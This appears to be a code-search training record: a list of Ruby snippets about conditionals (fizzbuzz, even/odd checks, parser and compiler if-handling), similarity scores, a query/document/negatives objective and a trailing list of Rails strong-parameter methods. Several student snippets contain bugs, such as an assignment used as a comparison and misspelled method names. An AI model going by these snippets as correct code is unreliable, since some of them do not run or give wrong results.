-> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n end\n \n return return_value\n end",
"def even_or_odd (num)\n if num.even? == true\n \"#{num} is even.\"\n else\n \"#{num} is odd.\"\n end \nend",
"def fizzbuzz(int)\n # Why did this operation have to be first? \n if int % 3 == 0 && int % 5 == 0\n \"FizzBuzz\"\n elsif int % 3 == 0 \n \"Fizz\" \n elsif int % 5 == 0 \n \"Buzz\"\n end \nend",
"def on_ternary_if_boolean(node)\n comparsion, condition, if_true, if_false = node.children\n if comparsion\n node.update(:ternary, [ condition, if_true, if_false ])\n else\n node.update(:ternary, [ condition, if_false, if_true ])\n end\n end",
"def fizzbuzz(number)\n\n\t(number % 3 == 0) && (number % 5 == 0) ? \"fizzbuzz\"\n\t: (number % 3) == 0 ? \"fizz\"\n\t: (number % 5) == 0 ? \"buzz\"\n\t: number\n\nend",
"def non_complex_expression?(condition); end",
"def yeah_or_booh boolean\n boolean && 'yeah' || 'booh'\nend",
"def fizzbuzz(int)\n # Checks to see if the number int is divisible by both 3 and 5\n if int % 3 == 0 && int % 5 == 0\n # If true, returns FizzBuzz\n \"FizzBuzz\"\n # Checks to see if the number int is divisible by 3\n elsif int % 3 == 0\n # If true, return Fizz\n \"Fizz\"\n # Checks to see if the number int is divisible by 5\n elsif int % 5 == 0\n # If true, return Buzz\n \"Buzz\"\n else\n # Return nil for all other cases\n nil\nend",
"def conditional(number)\n if number < 0\n puts \"Not a valid entry, #{number} is below 0!\"\n elsif number <= 50\n puts \"#{number} is between 0 and 50!\"\n elsif number <= 100\n puts \"#{number} is between 51 and 100!\"\n else number > 101\n puts \"Not a valid entry, #{number} is above 100!\"\n end\nend",
"def main\n if 0\n p 0\n end\n\n if \"\" then\n p 1\n end\n\n if false\n p 2\n end\n\n if nil\n p 3\n end\n\n scope\nend",
"def is_even(num3)\n if num3 %2 == 0 \n p \"#{num3} is true\"\n elsif num3 % 2 != 0 \n p \"#{num3} is false\"\n end\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n\n\nif danger_level > 50\n puts bad_excuse\nelsif\n danger_level > 10 && danger_level < 50\n puts save_the_day\nelse\n danger_level < 10\n puts \"Meh. Hard Pass.\"\n end\nend",
"def eval_if_then_else(node, env, stack_trace)\n\n\tcondition = eval_node_under(node.condition, env, stack_trace)\n\tcase condition\n\tin Boolean\n\t\tif condition.value \n\t\t\treturn eval_node_under(node.true_exp, env, stack_trace), env\n\t\telse\n\t\t\tif condition.false_exp # is not empty\n\t\t\t\treturn eval_node_under(node.false_exp, env, stack_trace), env\n\t\t\telse # Don't do anything (return UnitNode)\n\t\t\t\treturn UnitNode(node.line, node.col), env\n\t\t\tend\n\t\tend\n\telse\n\t\tthrow_error(\"If statement's condition does not evaluate to a Boolean.\", node, stack_trace)\n\tend\nend",
"def odd_or_even(number)\n if number.odd?\n \"odd\"\n else\n \"even\"\n end\nend",
"def fizz_buzz_or_both(number)\n a1 = divisible_by_3(number)\n a2 = divisible_by_5(number)\n if a1 == true and a2 == true\n b1 = \"fizzbuzz\"\n\n elsif a1 == true and a2 == false\n b1 = \"fizz\"\n\n elsif a1 == false and a2 == true\n b1 = \"buzz\"\n\n end\n return b1\nend",
"def is_old? #any tiem you see a method with a ? after it only returns a true or false value\n @age > 80 ? true : false #ternary value\n # the method below\n # if @age > 80\n # true\n # else\n # false\n end",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n\n if danger_level > 50\n puts \"#{bad_excuse}\"\n elsif danger_level >= 50 && danger_level >= 10\n puts \"#{save_the_day}\"\n else\n puts \"Meh. Hard pass.\"\n end\nend",
"def odd_or_even (number)\n if number % 2 == 0\n \"even\"\n elsif number % 2 == 1\n \"odd\"\n end\nend",
"def process_if(exp)\n cond_part = process exp.shift\n\n result = \"if (#{cond_part})\"\n\n then_part = process exp.shift\n else_part = process exp.shift\n\n then_part = \"\" if then_part.nil?\n else_part = \"\" if else_part.nil?\n\n result += \" {\\n\"\n \n then_part = then_part.join(\";\\n\") if Array === then_part\n then_part += \";\" unless then_part =~ /[;}]\\Z/\n # HACK: um... deal with nil correctly (see unless support)\n result += then_part.to_s # + \";\"\n result += \";\" if then_part.nil?\n result += \"\\n\" unless result =~ /\\n\\Z/\n result += \"}\"\n\n if else_part != \"\" then\n result += \" else {\\n\"\n else_part = else_part.join(\";\\n\") if Array === else_part\n else_part += \";\" unless else_part =~ /[;}]\\Z/\n result += else_part\n result += \"\\n}\"\n end\n\n result\n end",
"def even_or_odd(number)\n if number % 2 == 0\n return \"Even\"\n else\n return \"Odd\"\n end\n\nend",
"def parse_if_statement cur_tok\n\t\t\n\t\tconditional = parse_next\n\t\tif not (@tokens.peak and @tokens.peak.type == \"Keyword\" and @tokens.peak.value == \"then\")\n\t\t\tthrow_error(\"In If statement, expected 'then', got: #{@tokens.peak}.\", tokens.peak)\n\t\tend\n\t\t@tokens.next # Get rid of 'then'.\n\n\t\tif_true = parse_next\n\t\tif (@tokens.peak and @tokens.peak.type == \"Keyword\" and @tokens.peak.value == \"end\")\n\t\t\t@tokens.next \n\t\t\treturn IfThenElse.new(cur_tok.line, cur_tok.col, conditional, if_true)\n\t\telsif not (@tokens.peak and @tokens.peak.type == \"Keyword\" and @tokens.peak.value == \"else\")\n\t\t\tthrow_error(\"In If statement, expected 'else', got: #{@tokens.peak}.\", tokens.peak)\n\t\tend\n\t\t@tokens.next # Get rid of 'else'.\n\t\t\n\t\tif_false = parse_next\n\t\tif (@tokens.peak and @tokens.peak.type == \"Keyword\" and @tokens.peak.value == \"end\")\n\t\t\t@tokens.next\n\t\t\treturn IfThenElse.new(cur_tok.line, cur_tok.col, conditional, if_true, if_false)\n\t\telse\n\t\t\tthrow_error(\"In If statement, expected 'end', got: #{@tokens.peak}.\", @tokens.peak)\n\t\tend\n\tend",
"def test(name, last_name, age)\n if (name == \"Anndony\" && last_name == \"Quemag\") || age == \"23\" #This condition can generate confusion, so it is more advisable to use quotation marks so that ruby understands well what condition we want to put\n puts \"Yes, the information is correct\"\n else\n puts \"No! The information is false\"\n end\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n # danger_level = 75\n # save_the_day = \"All in a day's work.\"\n # bad_excuse = \"This isn't good!\"\n\n if danger_level > 50\n p bad_excuse\n elsif danger_level < 50 && danger_level > 10\n p save_the_day\n else\n p \"Meh. Hard pass.\"\n end\nend",
"def even_odd(number)\n number.even? ? \"#{number} is even!\" : \"Noo! #{number} is odd!!!\"\n #last line, one statement, this will be auto returned from defined method\nend",
"def parser_else(args)\r\n if @if_stack.empty?\r\n #_rl_init_file_error (\"$else found without matching $if\")\r\n return 0\r\n end\r\n\r\n # Check the previous (n) levels of the stack to make sure that\r\n # we haven't previously turned off parsing.\r\n return 0 if @if_stack.detect {|x| x }\r\n\r\n # Invert the state of parsing if at top level.\r\n @_rl_parsing_conditionalized_out = !@_rl_parsing_conditionalized_out\r\n return 0\r\n end",
"def fizzbuzz(num_1, num_2, range)\n # Create a for loop function that will go through each number inside of the range\n (1..range).each do |i|\n # Create conditional statement and print \"fizzbuzz\" if integer is evenly divisible by both 'num_1' and 'num_2' using the 'Logical And' operator \n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n # Create a second conditional statement and print \"fizz\" if integer is NOT evenly divisibly by both 'num_1' and 'num_2', but is evenly divisible by 'num_1'\n elsif i % num_1 === 0\n puts 'fizz'\n # Create a third conditional statement and print \"buzz\" if integer if NOT evenly divisible by both 'num_1' and 'num_2', but is evenly divisible by 'num_2'\n elsif i % num_2 === 0\n puts 'buzz'\n # Create the final conditional statement and print 'i' if the integer is not captured by the previous 3 conditional statements\n else\n puts i\n end\n end\nend",
"def make_if test, zero, not_zero\n noop = \":\"\n \"if [ \\\"0\\\" -eq \\\"$#{test}\\\" ]; then #{zero || noop}; else #{not_zero || noop} ; fi\"\n end",
"def negetive?(number) #the arguement number is whats in the bracket and it represents that negetive? accepts number\n puts number < 0 #rememeber you want the booleans true to be written when you have a - number and a number less than 0\nend",
"def meets_condition?(num)\n (num * 2 - (5 - num)) % 2 == 0\nend",
"def correctAlternativeParking(day, num)\n if((day.is_a? Integer) && (num.is_a? Integer) && (day >= 1 && day <= 31))\n if((day >= 1) && (day <=15))\n puts num % 2 == 1 ? \"Vous êtes bien garés\" : \"Vous N'êtes PAS bien garé.\"\n else puts num % 2 == 0 ? \"Vous êtes bien garés\" : \"Vous N'êtes PAS bien garé.\"\n end\n else puts \"Le jour et/ou le numéro ne sont pas un entier. Le jour doit être compris entre 1 et 31.\"\n end\nend",
"def silly_check(number)\n\tnumber < 5 ? \"The number is less than 5\" : \"The number is greater than or equal to 5\"\nend",
"def conditional\n expr = logical_or\n\n if match?(:question)\n then_branch = expression\n consume(:colon, \"Expect ':' after then branch of conditional expression.\")\n else_branch = conditional\n expr = Ringo::Conditional.new(expr, then_branch, else_branch)\n end\n\n expr\n end",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n\n if danger_level > 50\n puts bad_excuse\n elsif danger_level > 10 && danger_level < 50\n puts save_the_day\n else\n puts \"Meh. Hard pass.\"\n end\nend",
"def check(num)\n if num%2==0\n p \"#{num} is even\"\n else p\"#{num} is odd\"\n end\nend",
"def fizzbuzz(num)\n#case is used to evaluate several logical statements instead of using if / else\n case\n#if the variable num is divisible by 15, output \"FizzBuzz\"\n when num % 15 == 0 then \"FizzBuzz\"\n#if the first condition did not apply, if the variable num is divisible by 3, output \"Fizz\"\n when num % 3 == 0 then \"Fizz\"\n#if the first two conditions did not apply, if the variable num is divisible by 5, output \"Buzz\"\n when num % 5 == 0 then \"Buzz\"\n#if the none of the above conditions apply, output the variable num\n else num\n end\nend",
"def foo(a,b)\n\tif a % 2 == 0 and b % 2 == 0\n\t\tputs \"hooray\"\n\telse\n\t\tputs \"boo\"\n\tend\nend",
"def leap_year?(year)\n# Is year divisible by 4?\nif year % 4 == 0 #FIRST IF\n #Continue evaluation\n if year % 100 == 0 #SECOND IF\n if year % 400 == 0 #THIRD IF\n return true\n else\n return false\n end # THIRD IF END\n\n\n else\n return true\n end # SECOND IF END\n\nelse\nreturn false\nend # FIRST IF END\n\n\nend",
"def condition(num1,num2)\n if num1<num2\n \"Yes #{num1} < #{num2}\"\n else\n \"No! #{num1} > #{num2}\"\n end\nend",
"def fizzbuzz(number)\n #binding.pry\n if (number % 3 == 0 && number % 5 == 0)\n then \"FizzBuzz\"\n elsif number % 3 == 0\n then \"Fizz\"\n elsif number % 5 == 0\n then \"Buzz\"\n else\n nil\n end\nend",
"def old_code\n #Ask for a number\n `say \"Hi Welcome to PICK A NUMBER program\"`\n print \"Pick a number: \"\n #Get a number from the user\n number = gets.chomp\n # i = integer\n # if number = 0 then even else odd\n if number.to_i.even?\n puts \"\\n#{number} is even \"\n else \n puts \"\\n#{number} is odd \"\n end \n\n #Divide the number by three\n remainder = number % 3\n\n if remainder == 0\n puts \"and it is divisible by 3 !!!!\"\n end\nend",
"def fizzbuzz(input)\nif (input % 3 == 0) && (input % 5 == 0)\n \"FizzBuzz\"\nelsif input % 3 == 0\n \"Fizz\"\nelsif input % 5 == 0\n \"Buzz\"\nend\nend",
"def fizzbuzz(number)\n if number % 3 == 0 && number % 5 == 0\n puts \"FizzBuzz\"\n elsif number % 3 == 0\n puts \"Fizz\"\n \"FizzBuzz\"\n elsif number % 5 == 0\n puts \"Buzz\"\n # originally had `else puts number`. \n # removed because this isn't in instructions.\n end\nend",
"def process_if exp\n exp = exp.dup\n condition = exp[1] = process exp.condition\n\n if true? condition\n exp[2] = process exp.then_clause if exp.then_clause\n exp[3] = nil\n elsif false? condition\n exp[2] = nil\n exp[3] = process exp.else_clause if exp.else_clause\n else\n exp[2] = process exp.then_clause if exp.then_clause\n exp[3] = process exp.else_clause if exp.else_clause\n end\n\n exp\n end",
"def test_bool_comparison() \n assert_equal(true, @@parser.test_run(\"\n bool chief():\n return 15 < 10^2 and 20 != 15*3\n end\"))\n\n assert_equal(false, @@parser.test_run(\"\n bool chief():\n return 100 < 10*2 or 15 + 25 < 30\n end\"))\n end",
"def odd?(number)\n if number % 2 == 0\n false\n else \n true\n end\nend",
"def elseif!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 22 )\n\n type = ELSEIF\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 324:10: 'elseif'\n match( \"elseif\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 22 )\n\n end",
"def fizzbuzz(num)\nif num % 3 == 0 && num % 5 == 0\n \"FizzBuzz\"\n\nelsif num % 3 == 0\n \"Fizz\"\n\nelsif num % 5 == 0\n \"Buzz\"\n\n else\n nil\n end\nend",
"def truthiness(x, y)\r\n puts \"AND: \", x && y\r\n puts \"OR: \", x || y\r\n puts \"!AND: \", !(x && y)\r\n puts \"!OR: \", !(x || y)\r\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n p bad_excuse\n elsif danger_level > 10 && danger_level < 50\n p save_the_day\n else\n p \"Meh. Hard pass.\"\n end\nend",
"def if_statement\n consume(:lparen, \"Expect '(' after 'if'.\")\n condition = expression\n consume(:rparen, \"Expect ')' after if condition.\")\n\n then_branch = statement\n else_branch = match?(:else) ? statement : nil\n\n return Ringo::If.new(condition, then_branch, else_branch)\n end",
"def fizzbuzz(number)\n \n if\n \n number % 3 == 0 && number % 5 == 0\n \n \"FizzBuzz\"\n \n elsif \n \n number % 3 == 0\n \n \"Fizz\"\n \n elsif\n\n number % 5 == 0 \n \n \"Buzz\"\n \n \n else\n \n number % 15 != 0\n \n puts \"nil\"\n \n end\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n puts bad_excuse\n elsif danger_level > 10 && danger_level <= 50\n puts save_the_day\n else\n puts \"Meh. Hard pass.\"\n end\nend",
"def xor?(arg1, arg2)\n if arg1\n if arg2\n false\n else\n true\n end\n else\nif arg2\n true\n else\n false\n end\n end\nend",
"def compile_ternif(scope, cond, alt)\n if alt.is_a?(Array) && alt[0] == :ternalt\n if_arm = alt[1]\n else_arm = alt[2]\n else\n if_arm = alt\n end\n compile_if(scope,cond,if_arm,else_arm)\n end",
"def compile_ternif(scope, cond, alt)\n if alt.is_a?(Array) && alt[0] == :ternalt\n if_arm = alt[1]\n else_arm = alt[2]\n else\n if_arm = alt\n end\n compile_if(scope,cond,if_arm,else_arm)\n end",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n p \"#{bad_excuse}\"\n elsif danger_level < 50 && danger_level < 10\n p \"#{save_the_day}\"\n elsif danger_level < 10\n p \"Meh. Hard Pass.\"\n end\nend",
"def complex_condition?(condition); end",
"def over_five?\n\tvalue = 3\n\tputs value > 5 ? \"Over Five\" : \"Not over FIVE\"\nend",
"def fizz_buzz n\n n%15==0 && \"FizzBuzz\" or n%5==0 && \"Buzz\" or n%3==0 && \"Fizz\" or n\n # (\"FizzBuzz\" if n%15==0) || (\"Buzz\" if n%5==0) || (\"Fizz\" if n%3==0) || n\nend",
"def fizzbuzz(num_1, num_2, range)\n # for...in loop executes through the range with <1> beginning and the function argument <range> ending.\n (1..range).each do |i|\n # if local variable <i> modulo, fuction argument <num_1> === 0 and <i> modulo function argument <num_2> === 0, returns <true> the code beneath executes.\n if i % num_1 === 0 && i % num_2 === 0\n # prints the string 'fizzbuzz' to the terminal\n puts 'fizzbuzz'\n # if the if condition returned false, then the conditional statement: <i> modulo <num_1> === 0, is evaluated. If it returns <true> the code beneath executes.\n elsif i % num_1 === 0\n # prints the string 'fizz' to the terminal if the conditional statement above returns <true>.\n puts 'fizz'\n # if and eslif above return <false>: the conditional statement: <i> modulo <num_2> === 0, is evaluated. If <true> then the code beneath executes.\n elsif i % num_2 === 0\n # prints the string 'buzz' to the terminal if the conditional statement above returns <true>.\n puts 'buzz'\n # if none of the other conditional statements return <true> the code beneath <else> executes.\n else\n # prints the local variable <i> to the terminal.\n puts i\n # ends the if statement block\n end\n # ends the for...in loop\n end\n # ends the <fizzbuzz> function\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level > 50\n p \"#{bad_excuse}\"\n \n elsif danger_level < 50 || danger_level > 10\n p \"#{save_the_day}\"\n \n elsif danger_level < 10\n p \"Meh. Hard pass.\"\n end\nend",
"def is_it_a_baby(age)\n age < 2 ? \"baby\" : \"not a baby\"\nend",
"def age_num_conditional(age, sum, name, fav1, fav2, fav3) \r\n if age > sum\r\n \t\t\"Your age of #{age} is greater than #{sum}, Which is the sum of your favorite numbers.\"\r\n \telse \r\n \t\t\"Your age of #{age} is less than #{sum}, Which is the sum of your favorite numbers.\"\r\n\tend \r\nend",
"def leap_year?(year)\n\tyear % 4 == 0 && (year % 100 != 0 || year % 400 = 0)\n\ndef leap_year_check(year)\n\tif leap_year?(year)\n\t\tputs \"#{year} is a leap year\"\n\telse\n\t\tpust \"#{year} is not a leap year\"\n\tend\nend",
"def number(N)\r\n N =gets.strip.to_i\r\n if\r\n ( N%2==1 || N>5 && N <= 20)\r\n puts \"Weird\"\r\n else\r\n puts \"Not Weird\"\r\n end\r\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n danger_level = danger_level\n save_the_day = \"The day is saved, ya'll!\"\n bad_excuse = \"I need to feed my cat.\"\n\n if danger_level >= 50\n puts bad_excuse\n elsif danger_level < 50 && danger_level > 10\n p save_the_day\n else\n p \"Meh, hard pass.\"\n end\nend",
"def assess_situation(danger_level, save_the_day, bad_excuse)\n if danger_level >= 50\n puts bad_excuse\n elsif danger_level >= 10 && danger_level < 50\n puts save_the_day\n else\n puts \"Meh. Hard pass.\"\n end\nend",
"def even_odd(number)\n if number % 2 == 0\n \"That is an even number.\"\n else\n \"That is an odd number.\"\n end\nend",
"def fizzbuzz(int)\n \n fizz = false\n buzz = false\n \n if int%3 == 0\n fizz = true \n end\n \n if int%5 == 0 \n buzz = true\n end\n \n if fizz&&buzz == true\n return \"FizzBuzz\"\n elsif fizz == true\n return \"Fizz\"\n elsif buzz == true\n return \"Buzz\"\n else\n return nil\n end\n \nend",
"def determine_fizz_buzz (num)\n if num % 3 == 0 and num % 5 == 0 and num != 0\n puts \"#{num} is FIZZ BUZZ\"\n elsif num % 5 == 0 and num != 0\n puts \"#{num} is BUZZ\"\n elsif num % 3 == 0 and num != 0\n puts \"#{num} is FIZZ\"\n else\n puts \"#{num} is boring...\"\n end\nend",
"def assess_situation(danger_level, bad_excuse, save_the_day)\n if danger_level >=50\n puts bad_excuse\n elsif danger_level >=10 && danger_level <50\n puts save_the_day\n else\n puts \"Meh. Hard pass.\"\n end\nend"
] |
[
"0.6545612",
"0.60391307",
"0.59788144",
"0.59563595",
"0.57394534",
"0.56969404",
"0.56367415",
"0.5610969",
"0.5609063",
"0.56031626",
"0.55849504",
"0.55779976",
"0.55655056",
"0.55381316",
"0.5504788",
"0.5474596",
"0.54417384",
"0.5431642",
"0.5427587",
"0.5424147",
"0.54106176",
"0.53884774",
"0.537781",
"0.537136",
"0.5361926",
"0.5351405",
"0.53320247",
"0.5329703",
"0.5316985",
"0.5316917",
"0.52926916",
"0.52915853",
"0.5286001",
"0.5279909",
"0.5262855",
"0.52539665",
"0.5247721",
"0.5245925",
"0.5235932",
"0.5225891",
"0.52034163",
"0.5195155",
"0.51948977",
"0.51902276",
"0.5169558",
"0.51672953",
"0.51591504",
"0.51572025",
"0.5155464",
"0.515006",
"0.5147529",
"0.5140643",
"0.513968",
"0.5132077",
"0.51254714",
"0.51227474",
"0.5116216",
"0.51137984",
"0.5107005",
"0.51017386",
"0.509285",
"0.50880134",
"0.5085898",
"0.50805795",
"0.5070152",
"0.50676256",
"0.5063962",
"0.50623834",
"0.506068",
"0.5052807",
"0.5050381",
"0.5046618",
"0.5041634",
"0.50368917",
"0.50357884",
"0.5034792",
"0.50318193",
"0.5025117",
"0.502201",
"0.50182843",
"0.5017639",
"0.5012664",
"0.5002683",
"0.5002683",
"0.4994808",
"0.4988767",
"0.49781314",
"0.4974232",
"0.49715802",
"0.4966571",
"0.49664545",
"0.49644062",
"0.49621278",
"0.49614584",
"0.49535933",
"0.49532196",
"0.49508566",
"0.49487105",
"0.4948592",
"0.49449378"
] |
0.5733857
|
5
|
Only allow a trusted parameter "white list" through.
|
def member_params
params.require(:member).permit(:first_name, :last_name, :email)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def check_params\n true\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def user_params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def user_params\r\n end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
